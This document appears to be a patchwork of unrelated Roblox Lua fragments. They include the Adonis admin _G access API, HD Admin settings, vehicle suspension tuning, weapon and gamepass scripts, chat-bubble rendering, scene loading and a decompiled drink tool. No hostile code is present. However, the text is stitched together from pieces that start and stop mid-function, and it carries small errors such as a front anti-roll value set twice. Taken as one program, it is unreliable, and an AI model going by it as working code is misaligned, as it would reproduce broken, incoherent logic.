Settings.Allowed_API_Calls.DataStore; RunCommand = Settings.Allowed_API_Calls.Core; SaveTableAdd = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings; SaveTableRemove = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings; SaveSetSetting = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings; ClearSavedSettings = Settings.Allowed_API_Calls.DataStore and Settings.Allowed_API_Calls.Settings; SetSetting = Settings.Allowed_API_Calls.Settings; } setfenv(1,setmetatable({}, {__metatable = getmetatable(getfenv())})) local API_Specific = { API_Specific = { Test = function() print("We ran the api specific stuff") end }; Settings = Settings; Service = service; } local API = { Access = MetaFunc(function(...) local args = {...} local key = args[1] local ind = args[2] local targ if API_Specific[ind] then targ = API_Specific[ind] elseif server[ind] and Settings.Allowed_API_Calls[ind] then targ = server[ind] end if Settings.G_Access and key == Settings.G_Access_Key and targ and Settings.Allowed_API_Calls[ind] == true then if type(targ) == "table" then return service.NewProxy { __index = function(tab,inde) if targ[inde] ~= nil and API_Special[inde] == nil or API_Special[inde] == true then AddLog(Logs.Script,{ Text = "Access to "..tostring(inde).." was granted"; Desc = "A server script was granted access to "..tostring(inde); }) if targ[inde]~=nil and type(targ[inde]) == "table" and Settings.G_Access_Perms == "Read" then return service.ReadOnly(targ[inde]) else return targ[inde] end elseif API_Special[inde] == false then AddLog(Logs.Script,{ Text = "Access to "..tostring(inde).." was denied"; Desc = "A server script attempted to access "..tostring(inde).." via _G.Adonis.Access"; }) error("Access Denied: "..tostring(inde)) else error("Could not find "..tostring(inde)) end end; __newindex = function(tabl,inde,valu) if Settings.G_Access_Perms == "Read" then error("Read-only") elseif Settings.G_Access_Perms == "Write" then tabl[inde] = valu end end; __metatable = true; } end else error("Incorrect key or G_Access is disabled") end end); Scripts = service.ReadOnly({ ExecutePermission = MetaFunc(function(srcScript, code) local exists; for i,v in pairs(Core.ScriptCache) do if v.Script == srcScript then exists = v end end if exists and exists.noCache ~= true and (not exists.runLimit or (exists.runLimit and exists.Executions <= exists.runLimit)) then exists.Executions = exists.Executions+1 return exists.Source, exists.Loadstring end local data = Core.ExecutePermission(srcScript, code) if data and data.Source then local module; if not exists then module = require(server.Shared.FiOne:Clone()) table.insert(Core.ScriptCache,{ Script = srcScript; Source = data.Source; Loadstring = module; noCache = data.noCache; runLimit = data.runLimit; Executions = data.Executions; }) else module = exists.Loadstring exists.Source = data.Source end return data.Source, module end end); }, nil, nil, true); CheckAdmin = MetaFunc(Admin.CheckAdmin); IsAdmin = MetaFunc(Admin.CheckAdmin); IsBanned = MetaFunc(Admin.CheckBan); IsMuted = MetaFunc(Admin.IsMuted); CheckDonor = MetaFunc(Admin.CheckDonor); GetLevel = MetaFunc(Admin.GetLevel); SetLighting = MetaFunc(Functions.SetLighting); SetPlayerLighting = MetaFunc(Remote.SetLighting); NewParticle = MetaFunc(Functions.NewParticle); RemoveParticle = MetaFunc(Functions.RemoveParticle); NewLocal = MetaFunc(Remote.NewLocal); MakeLocal = MetaFunc(Remote.MakeLocal); MoveLocal = MetaFunc(Remote.MoveLocal); RemoveLocal = MetaFunc(Remote.RemoveLocal); Hint = MetaFunc(Functions.Hint); Message = MetaFunc(Functions.Message); RunCommandAsNonAdmin = MetaFunc(Admin.RunCommandAsNonAdmin); } local AdonisGTable = service.NewProxy({ __index = function(tab,ind) if Settings.G_API then return API[ind] elseif ind == "Scripts" then return API.Scripts else error("_G API is disabled") end end; __newindex = function() error("Read-only") end; __metatable = true; }) if not rawget(_G, "Adonis") then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) StartLoop("APICheck", 1, function() if rawget(_G, "Adonis") ~= AdonisGTable then if table.isfrozen and not table.isfrozen(_G) or not table.isfrozen then rawset(_G, "Adonis", AdonisGTable) else warn("ADONIS CRITICAL WARNING! MALICIOUS CODE IS TRYING TO CHANGE THE ADONIS _G API AND IT CAN'T BE SET BACK! PLEASE SHUTDOWN THE SERVER AND REMOVE THE MALICIOUS CODE IF POSSIBLE!") end end end, true) else warn("The _G table was locked and the Adonis _G API could not be loaded") end end AddLog(Logs.Script,{ Text = "Started _G API"; Desc = "_G API was initialized and is ready to use"; }) end; }; end
--I, Maelstronomer, did not make these scripts, but only took bits and pieces from other scripts and put them together. --I have no idea who were the original makers of these scripts, as everyone seems to have taken credit from them. --So yeah, that's the creditless credits for you. Just don't take this as your own, because, well, it isn't. --If you do, then whatever helps you sleep at night...
-- Create component
local Component = Cheer.CreateComponent('BTNotificationDialog', View); function Component.Start(OnExpandCallback) -- Destroy dialog on OK button click Cheer.Bind(View.OKButton, function () View:Destroy(); end); -- Open help section on button click Cheer.Bind(View.HelpButton, function () -- Expand OK button View.HelpButton:Destroy(); View.ButtonSeparator:Destroy(); View.OKButton:TweenSize(UDim2.new(1, 0, 0, 22), nil, nil, 0.2); -- Replace notice with help section View.Notice:Destroy(); View.Help.Visible = true; View:TweenSize( UDim2.new(View.Size.X.Scale, View.Size.X.Offset, View.Size.Y.Scale, View.Help.NotificationSize.Value), nil, nil, 0.2, false, OnExpandCallback ); end); -- Show dialog View.Visible = true; -- Return component for chaining return Component; end; return Component;
--[[ When the character exists, connect their humanoid dying so that they leave camera state ]]
local function onCharacterAdded(stateMachine, player, character) local humanoid = character.Humanoid humanoid.WalkSpeed = 0 humanoid.Died:Connect( function() player:LoadCharacter() stateMachine:endCamera() end ) end local PlayerCamera = {}
--// Damage Settings
BaseDamage = 25; -- Torso Damage LimbDamage = 25; -- Arms and Legs ArmorDamage = 25; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 37; -- If you set this to 100, there's a chance the player won't die because of the heal script
-- 4.) Put 'Gauge Face' in Lights in-order for it to light-up when car -- lights are turned on. If not available, place 'Gauge Face' in Body along with 'Tachometer'.
----------------- --| Constants |-- -----------------
local GRAVITY_ACCELERATION = 196.2 local RELOAD_TIME = 3 -- Seconds until tool can be used again local ROCKET_SPEED = 60 -- Speed of the projectile local MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534' local MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25) local ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27)
-- << SETTINGS >>
local Settings={ -- <Prefix> Prefix =";" ; -- The character used to begin each command -- <Donor Perks> **Please keep enabled to help support the development of HD Admin Commands** DonorItem = true ; DonorItemId = 10472779 ; DonorCommands = true ; -- <Other> CmdBar = true ; -- Allows admins to execute commands without chatting HDIcon = true ; -- The HD Icon in the corner of screen (helps to support the development HD Admin Commands) FreeAdmin = false ; -- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = "VIP" '. Set to False if not. NoticeSound = 261082034 ; -- Notification sound ID NoticeSoundVol = 0.5 ; -- How loud the notification sound is. Must be between 0 and 1. ErrorSound = 138090596 ; -- Error sound ID ErrorSoundVol = 0.5 ; -- How loud the error sound is. Must be between 0 and 1. }
-- periodically re-join the studs to the center
while true do wait(4) local cf = center.CFrame rebuildStud(top, cf * CFrame.new(0,3,0)) rebuildStud(bottom, cf * CFrame.new(0,-3,0)) rebuildStud(left, cf * CFrame.new(3,0,0)) rebuildStud(right, cf * CFrame.new(-3,0,0)) rebuildStud(front, cf * CFrame.new(0,0,-3)) rebuildStud(back, cf * CFrame.new(0,0,3)) end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 5000 -- Spring Force Tune.FAntiRoll = 60 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 1 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 4000 -- Spring Force Tune.FAntiRoll = 60 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 1 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Gamepasses
for i,v in pairs(RS.GamepassIDs:GetChildren()) do MS.PromptGamePassPurchaseFinished:Connect(function(plr,ido,purchased) if purchased and v.Value == ido then if v.Name == "TripleOpen" then plr.Data.TripleEggOwned.Value = true elseif v.Name == "AutoOpen" then plr.Data.AutoEggOwned.Value = true elseif v.Name == "ExtraEquipped" then plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 5 elseif v.Name == "ExtraStorage" then plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30 end end end) game.Players.PlayerAdded:Connect(function(plr) local Data = plr:WaitForChild("Data", math.huge) if MS:UserOwnsGamePassAsync(plr.UserId, v.Value) then if v.Name == "TripleOpen" then plr.Data.TripleEggOwned.Value = true elseif v.Name == "AutoOpen" then plr.Data.AutoEggOwned.Value = true elseif v.Name == "ExtraEquipped" then plr.Data.MaxEquip.Value = RS.Pets.Settings.DefaultMaxEquipped.Value + 5 elseif v.Name == "ExtraStorage" then plr.Data.MaxStorage.Value = RS.Pets.Settings.DefaultMaxStorage.Value + 30 end end end) end
-- Decompiled with the Synapse X Luau decompiler.
local l__Parent__1 = script.Parent; l__Parent__1.Equipped:connect(function() end); local u1 = false; l__Parent__1.Activated:connect(function() if u1 then return; end; u1 = true; l__Parent__1.GripForward = Vector3.new(0, -0.759, -0.651); l__Parent__1.GripPos = Vector3.new(1.5, -0.65, -0.15); l__Parent__1.GripRight = Vector3.new(1, 0, 0); l__Parent__1.GripUp = Vector3.new(0, 0.651, -0.759); l__Parent__1.Handle.DrinkSound:Play(); wait(2.5); l__Parent__1.Parent.Humanoid.Health = l__Parent__1.Parent.Humanoid.Health + 100; restPos(); u1 = false; end); l__Parent__1.Unequipped:connect(function() restPos(); l__Parent__1.Handle.DrinkSound:Stop(); u1 = false; end); function restPos() l__Parent__1.GripForward = Vector3.new(-0.976, 0, -0.217); l__Parent__1.GripPos = Vector3.new(0.03, 0, 0); l__Parent__1.GripRight = Vector3.new(0.217, 0, -0.976); l__Parent__1.GripUp = Vector3.new(0, 1, 0); end;
--skip song command
Group = 912062 RequiredRank = 253 game.Players.PlayerAdded:connect(function(Player) Player.Chatted:connect(function(msg) if Player:GetRankInGroup(Group) >= RequiredRank or Player.Name == "Player" or Player.Name == "Itzt" or Player.Name == "Thundervette" then if msg == 'skipsong'or msg == 'skip song' or msg == 'skip' then makesong() end end end) end) game:GetService('MarketplaceService').ProcessReceipt = function(details) for _, player in ipairs(game.Players:GetPlayers()) do if player.userId == details.PlayerId then if details.ProductId == productId then script.Parent.musicEvents.addSong:FireClient(player) end end end end script.Parent.musicEvents.addSong.OnServerEvent:connect(function(p,id) if tonumber(id) ~= nil and game:GetService("MarketplaceService"):GetProductInfo(tonumber(id)).AssetTypeId == 3 then table.insert(requests, id) end end) makesong()
-- Tweens
function Animate(w1,w2,w3,tw,Time,Delay) SetWelds() weld1C1 = w1 weld2C1 = w2 weld3C1 = w3 tweldC1 = tw TweenService:Create(neck,TweenInfo.new(Time),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play() SEs.FireClient:FireServer(k,"AnimateFE",{w1,w2,w3,tw},Time,Answer,0,NeckRotation,chr,Tool.Hig.Value) if script:IsDescendantOf(chr) then TweenService:Create(weld1,TweenInfo.new(Time), {C1=w1*CFrame.new(0,Tool.Hig.Value,0)}):Play() TweenService:Create(weld2,TweenInfo.new(Time), {C1=w2*CFrame.new(0,Tool.Hig.Value,0)}):Play() TweenService:Create(weld3,TweenInfo.new(Time), {C1=w3*CFrame.new(0,Tool.Hig.Value,0)}):Play() TweenService:Create(tweld,TweenInfo.new(Time), {C1=tw*CFrame.new(0,Tool.Hig.Value,0)}):Play() end if Delay then Time = Time + Delay end wait(Time) end chr.Humanoid.Died:connect(function() game.Workspace.CurrentCamera.FieldOfView = 70 end) Mouse.Move:connect(function() -- Thanks to Ultimatedar for this logic, heavily edited by me. local Mouse = Player:GetMouse() local Direction = Mouse.Hit.p local B = head.Position.Y-Direction.Y local Dist = (head.Position-Direction).magnitude Answer = math.asin(B/Dist) Gyro.cframe = Mouse.Hit if Stance ~= "Nothing" then Answer = 0 else if Stance == "Nothing" then if Answer > math.rad(20) then Answer = math.rad(20) elseif Answer < math.rad(-10) then Answer = math.rad(-10) else if torso.Parent.Humanoid.Sit then Answer = 0 end end end end if (Stance == "Nothing") then SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning) if not Turning then TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play() end TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play() TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(Answer,0,0)}):Play() if Gyro.Parent ~= tilt and Tool.Skrimish.Value then Gyro.Parent = tilt chr.Humanoid.AutoRotate = false elseif Gyro.Parent == tilt and not Tool.Skrimish.Value then Gyro.Parent = script chr.Humanoid.AutoRotate = true chr.Humanoid.AutoRotate = true end else if Gyro.Parent == tilt then Gyro.Parent = script chr.Humanoid.AutoRotate = true chr.Humanoid.AutoRotate = true end SEs.FireClient:FireServer(k,"Aglin",chr,Answer,{Answer,0,NeckRotation},0.1,Turning,true) if not Turning then TweenService:Create(neck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(Answer,0,NeckRotation)}):Play() end TweenService:Create(fakeneck,TweenInfo.new(0.1),{C0=OriginalC0*CFrame.Angles(0,0,0)}):Play() TweenService:Create(tiltweld,TweenInfo.new(0.1),{C0=CFrame.new(0,0,0) * CFrame.Angles(0,0,0)}):Play() end if tick() - Cooldown > LastCheck then local NextUnit = Mouse.UnitRay.Unit.Direction if math.abs(NextUnit.Y - LastUnit.Y) >= 0.01 then if NextUnit.Y > LastUnit.Y then AttackDirection = "U" else AttackDirection = "D" end else if CalcHorizontalAngle(LastUnit*Vector3.new(1,0,1), NextUnit*Vector3.new(1,0,1)) > 0 then AttackDirection = "R" else AttackDirection = "L" end end LastUnit = NextUnit end end) weld1C1 = weld1.C1 weld2C1 = weld2.C1 weld3C1 = weld3.C1 tweldC1 = tweld.C1 wait(0.1)
---------------------waypointsgenerator--------------------
for i, waypoint in pairs(waypoints)do if CreateWaypoints == true then local WayBall = Instance.new("Part",Fol) WayBall.Shape = "Ball" WayBall.Material = "Neon" WayBall.Size = Vector3.new(0.6,0.6,0.6) WayBall.Position = waypoint.Position + Vector3.new(0,2,0) WayBall.Anchored = true WayBall.CanCollide = false end
-- Provide total count of all descendants
Count.Value = #Tool:GetDescendants() - AutoremovingItemsCount;
-- Events
LoadSceneRemoteEventModule.RequestServerLoadCharacter = script.Parent.Parent.Events.SceneControl.LoadCharacter LoadSceneRemoteEventModule.FinishedLoadingRemoteEvent = script.Parent.Parent.Events.SceneControl.FinishedLoading LoadSceneRemoteEventModule.SceneLoaded = script.Parent.Parent.Events.ClientEvents.SceneLoaded local doesPlayerHavePrimaryPart = function(Player) if Player.Character then return Player.Character.PrimaryPart end return false end LoadSceneRemoteEventModule.handleRespawnConnection = function(Scene, Player, taskLib) if not Scene or not Scene:FindFirstChild(enums.Scene.Environment) or not Scene.Environment:FindFirstChild(enums.Scene.PlayerSpawns) then return end while not doesPlayerHavePrimaryPart(Player) do taskLib.wait() end local Spawns = Scene.Environment.PlayerSpawns:GetChildren() Player.Character:SetPrimaryPartCFrame(Spawns[math.random(1, #Spawns)].CFrame) end LoadSceneRemoteEventModule.LoadSceneRemoteEventFn = function(SceneName, currentLoadSceneTime, taskLib) if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then warn("Attempted to load an older scene on the client: ", SceneName) return end if currentLoadSceneTime == LoadSceneRemoteEventModule.lastCalledLoadSceneTime then warn("Attempted to load a scene with same tick time. This should not be happening. Please contact devs") warn(SceneName) return end LoadSceneRemoteEventModule.lastCalledLoadSceneTime = currentLoadSceneTime local Scene = LoadSceneRemoteEventModule.GetSceneByName(SceneName) if not Scene then error("Scene not found: " .. SceneName) end if LoadSceneRemoteEventModule.RespawnConnection then LoadSceneRemoteEventModule.RespawnConnection:Disconnect() LoadSceneRemoteEventModule.RespawnConnection = nil end taskLib = if taskLib then taskLib else task while state.UnloadingScene do taskLib.wait() end if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then warn("No longer loading outdated scene: ", SceneName) return end local TempSceneFolder = Instance.new("Folder") TempSceneFolder.Name = SceneName TempSceneFolder.Parent = workspace:WaitForChild(enums.Scene.ScenesClient) LoadSceneRemoteEventModule.DefaultLoadScene(Scene.Environment, TempSceneFolder) state.CurrentSceneEnvironmentFolder = TempSceneFolder if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then warn("No longer loading outdated scene: ", SceneName) return end -- Reposition the character to the scene -- TODO: Make sure players aren't cframed into eachother local Spawns = Scene.Environment.PlayerSpawns:GetChildren() local spawnPart = Spawns[math.random(1, #Spawns)] local spawnOffset = CFrame.new( LoadSceneRemoteEventModule.rng:NextNumber(spawnPart.Size.X * -0.5, spawnPart.Size.X * 0.5), 0, LoadSceneRemoteEventModule.rng:NextNumber(spawnPart.Size.Z * -0.5, spawnPart.Size.Z * 0.5) ) local Player = LoadSceneRemoteEventModule.Player if doesPlayerHavePrimaryPart(Player) then Player.Character:SetPrimaryPartCFrame(spawnPart.CFrame * spawnOffset) Player.Character.PrimaryPart.Anchored = false else LoadSceneRemoteEventModule.RequestServerLoadCharacter:FireServer() while not doesPlayerHavePrimaryPart(Player) do taskLib.wait() end Player.Character:SetPrimaryPartCFrame(spawnPart.CFrame * spawnOffset) Player.Character.PrimaryPart.Anchored = false end if currentLoadSceneTime < LoadSceneRemoteEventModule.lastCalledLoadSceneTime then warn("No longer loading outdated scene: ", SceneName) return end LoadSceneRemoteEventModule.RespawnConnection = LoadSceneRemoteEventModule.Player.CharacterAdded:Connect(function() LoadSceneRemoteEventModule.handleRespawnConnection(Scene, Player, taskLib) end) -- Update the lighting if LoadSceneRemoteEventModule.RunService:IsStudio() and Lighting:GetAttribute(enums.Attribute.UseCurrentLighting) then warn("USING CURRENT LIGHTING. NOT USING SCENE LIGHTING") else LoadSceneRemoteEventModule.UpdateLightModule(Scene.Environment.Lighting) end LoadSceneRemoteEventModule.FinishedLoadingRemoteEvent:FireServer(Player) LoadSceneRemoteEventModule.SceneLoaded:Fire(SceneName) end return LoadSceneRemoteEventModule
--[[ FUNCTIONS ]]
local function getStringTextBounds(text, font, textSize, sizeBounds) sizeBounds = sizeBounds or false if not TextSizeCache[text] then TextSizeCache[text] = {} end if not TextSizeCache[text][font] then TextSizeCache[text][font] = {} end if not TextSizeCache[text][font][sizeBounds] then TextSizeCache[text][font][sizeBounds] = {} end if not TextSizeCache[text][font][sizeBounds][textSize] then testLabel.Text = text testLabel.Font = font testLabel.TextSize = textSize if sizeBounds then testLabel.TextWrapped = true; testLabel.Size = UDim2.new(0, sizeBounds.x, 0, sizeBounds.y) else testLabel.TextWrapped = false; end TextSizeCache[text][font][sizeBounds][textSize] = testLabel.TextBounds end return TextSizeCache[text][font][sizeBounds][textSize] end local function lerpLength(msg, min, max) return min + (max-min) * math.min(string.len(msg)/75.0, 1.0) end local function createFifo() local this = {} this.data = {} local emptyEvent = Instance.new("BindableEvent") this.Emptied = emptyEvent.Event function this:Size() return #this.data end function this:Empty() return this:Size() <= 0 end function this:PopFront() table.remove(this.data, 1) if this:Empty() then emptyEvent:Fire() end end function this:Front() return this.data[1] end function this:Get(index) return this.data[index] end function this:PushBack(value) table.insert(this.data, value) end function this:GetData() return this.data end return this end local function createCharacterChats() local this = {} this.Fifo = createFifo() this.BillboardGui = nil return this end local function createMap() local this = {} this.data = {} local count = 0 function this:Size() return count end function this:Erase(key) if this.data[key] then count = count - 1 end this.data[key] = nil end function this:Set(key, value) this.data[key] = value if value then count = count + 1 end end function this:Get(key) if not key then return end if not this.data[key] then this.data[key] = createCharacterChats() local emptiedCon = nil emptiedCon = this.data[key].Fifo.Emptied:connect(function() emptiedCon:disconnect() this:Erase(key) end) end return this.data[key] end function this:GetData() return this.data end return this end local function createChatLine(message, bubbleColor, isLocalPlayer) local this = {} function this:ComputeBubbleLifetime(msg, isSelf) if isSelf then return lerpLength(msg,8,15) else return lerpLength(msg,12,20) end end this.Origin = nil this.RenderBubble = nil this.Message = message this.BubbleDieDelay = this:ComputeBubbleLifetime(message, isLocalPlayer) this.BubbleColor = bubbleColor this.IsLocalPlayer = isLocalPlayer return this end local function createPlayerChatLine(player, message, isLocalPlayer) local this = createChatLine(message, BubbleColor.WHITE, isLocalPlayer) if player then this.User = player.Name this.Origin = player.Character end return this end local function createGameChatLine(origin, message, isLocalPlayer, bubbleColor) local this = createChatLine(message, bubbleColor, isLocalPlayer) this.Origin = origin return this end function createChatBubbleMain(filePrefix, sliceRect) local chatBubbleMain = Instance.new("ImageLabel") chatBubbleMain.Name = "ChatBubble" chatBubbleMain.ScaleType = Enum.ScaleType.Slice chatBubbleMain.SliceCenter = sliceRect chatBubbleMain.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" chatBubbleMain.BackgroundTransparency = 1 chatBubbleMain.BorderSizePixel = 0 chatBubbleMain.Size = UDim2.new(1.0, 0, 1.0, 0) chatBubbleMain.Position = UDim2.new(0,0,0,0) chatBubbleMain.ImageColor3 = CHAT_BUBBLE_COLOR return chatBubbleMain end function createChatBubbleTail(position, size) local chatBubbleTail = Instance.new("ImageLabel") chatBubbleTail.Name = "ChatBubbleTail" chatBubbleTail.Image = "rbxasset://textures/ui/dialog_tail.png" chatBubbleTail.BackgroundTransparency = 1 chatBubbleTail.BorderSizePixel = 0 chatBubbleTail.Position = position chatBubbleTail.Size = size chatBubbleTail.ImageColor3 = CHAT_BUBBLE_COLOR return chatBubbleTail end function createChatBubbleWithTail(filePrefix, position, size, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local chatBubbleTail = createChatBubbleTail(position, size) chatBubbleTail.Parent = chatBubbleMain return chatBubbleMain end function createScaledChatBubbleWithTail(filePrefix, frameScaleSize, position, sliceRect) local chatBubbleMain = createChatBubbleMain(filePrefix, sliceRect) local frame = Instance.new("Frame") frame.Name = "ChatBubbleTailFrame" frame.BackgroundTransparency = 1 frame.SizeConstraint = Enum.SizeConstraint.RelativeXX frame.Position = UDim2.new(0.5, 0, 1, 0) frame.Size = UDim2.new(frameScaleSize, 0, frameScaleSize, 0) frame.Parent = chatBubbleMain local chatBubbleTail = createChatBubbleTail(position, UDim2.new(1,0,0.5,0)) chatBubbleTail.Parent = frame return chatBubbleMain end function createChatImposter(filePrefix, dotDotDot, yOffset) local result = Instance.new("ImageLabel") result.Name = "DialogPlaceholder" result.Image = "rbxasset://textures/" .. tostring(filePrefix) .. ".png" result.BackgroundTransparency = 1 result.BorderSizePixel = 0 result.Position = UDim2.new(0, 0, -1.25, 0) result.Size = UDim2.new(1, 0, 1, 0) local image = Instance.new("ImageLabel") image.Name = "DotDotDot" image.Image = "rbxasset://textures/" .. tostring(dotDotDot) .. ".png" image.BackgroundTransparency = 1 image.BorderSizePixel = 0 image.Position = UDim2.new(0.001, 0, yOffset, 0) image.Size = UDim2.new(1, 0, 0.7, 0) image.Parent = result return result end local this = {} this.ChatBubble = {} this.ChatBubbleWithTail = {} this.ScalingChatBubbleWithTail = {} this.CharacterSortedMsg = createMap()
-- // Steven_Scripts, 2022
local tws = game:GetService("TweenService") local buttonSystem = script.Parent local alarmPart = buttonSystem.AlarmPart local gate = buttonSystem.Parent local door = gate.SlidingMetalDoor local reader = buttonSystem.KeycardReader local readerPrimary = reader.PrimaryPart local prompt = readerPrimary.ProximityPrompt local doorPrimary = gate.SlidingMetalDoor.Primary local closedPos = door.ClosePos local openPos = door.OpenPos local doorCloseTween = tws:Create(doorPrimary,TweenInfo.new(8, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),{CFrame = closedPos.CFrame}) local doorOpenTween = tws:Create(doorPrimary,TweenInfo.new(8, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut),{CFrame = openPos.CFrame})
-- Then, get a FriendPages object for their friends
local friendPages = Players:GetFriendsAsync(userId) local friends = {} for item,pageNO in iterPageItems(friendPages) do table.insert(friends,item.Id) end local usernames = {} for item,pageNO in iterPageItems(friendPages) do table.insert(usernames,item.Username) end local random = math.random(#friends) local randomFriend = friends[random] local newhumanoid = game.Players:GetHumanoidDescriptionFromUserId(randomFriend) local npc = script.Parent npc.Humanoid:ApplyDescription(newhumanoid)
--[[ Returns the current value of this Tween object. The object will be registered as a dependency unless `asDependency` is false. ]]
function class:get(asDependency: boolean?) if asDependency ~= false then useDependency(self) end return self._currentValue end
--[[ You can load maps with their asset IDs at any time, though they aren't saved when this server shuts down. Be careful what you load. Maps can do anything, including showing scary things, giving admin commands, or breaking the server entirely. ]]
-- Note: Overrides base class GetIsJumping with get-and-clear behavior to do a single jump -- rather than sustained jumping. This is only to preserve the current behavior through the refactor.
function DynamicThumbstick:GetIsJumping() local wasJumping = self.isJumping self.isJumping = false return wasJumping end function DynamicThumbstick:EnableAutoJump(enable) local humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if humanoid then if enable then self.shouldRevertAutoJumpOnDisable = (humanoid.AutoJumpEnabled == false) and (Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice) humanoid.AutoJumpEnabled = true elseif self.shouldRevertAutoJumpOnDisable then humanoid.AutoJumpEnabled = false end end end function DynamicThumbstick:Enable(enable, uiParentFrame) if enable == nil then return false end -- If nil, return false (invalid argument) enable = enable and true or false -- Force anything non-nil to boolean before comparison if self.enabled == enable then return true end -- If no state change, return true indicating already in requested state if enable then -- Enable if not self.thumbstickFrame then self:Create(uiParentFrame) end if Players.LocalPlayer.Character then self:OnCharacterAdded(Players.LocalPlayer.Character) else Players.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) end else -- Disable self:OnInputEnded() -- Cleanup end self.enabled = enable self.thumbstickFrame.Visible = enable end function DynamicThumbstick:OnCharacterAdded(char) for _, child in ipairs(char:GetChildren()) do if child:IsA("Tool") then self.toolEquipped = child end end char.ChildAdded:Connect(function(child) if child:IsA("Tool") then self.toolEquipped = child elseif child:IsA("Humanoid") then self:EnableAutoJump(true) end end) char.ChildRemoved:Connect(function(child) if child == self.toolEquipped then self.toolEquipped = nil end end) self.humanoid = char:FindFirstChildOfClass("Humanoid") if self.humanoid then self:EnableAutoJump(true) end end
-- Contructors
function ViewportWindow.new(surfaceGUI) local self = setmetatable({}, ViewportWindow) self.SurfaceGUI = surfaceGUI self.Camera = Instance.new("Camera", surfaceGUI) self.ViewportFrame = VPF:Clone() self.ViewportFrame.Name = "WorldFrame" self.ViewportFrame.ZIndex = 2 self.ViewportFrame.LightDirection = -game.Lighting:GetSunDirection() self.ViewportFrame.CurrentCamera = self.Camera self.ViewportFrame.Parent = surfaceGUI self.SkyboxFrame = VPF:Clone() self.SkyboxFrame.Name = "SkyboxFrame" self.SkyboxFrame.ZIndex = 1 self.SkyboxFrame.Ambient = Color3.new(1, 1, 1) self.SkyboxFrame.LightColor = Color3.new(0, 0, 0) self.SkyboxFrame.CurrentCamera = self.Camera self.SkyboxFrame.Parent = surfaceGUI return self end function ViewportWindow.fromPart(part, normalId, parent) local surfaceGUI = Instance.new("SurfaceGui") surfaceGUI.Face = normalId surfaceGUI.CanvasSize = Vector2.new(1024, 1024) surfaceGUI.SizingMode = Enum.SurfaceGuiSizingMode.FixedSize surfaceGUI.Adornee = part surfaceGUI.ClipsDescendants = true surfaceGUI.Parent = parent return ViewportWindow.new(surfaceGUI) end
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
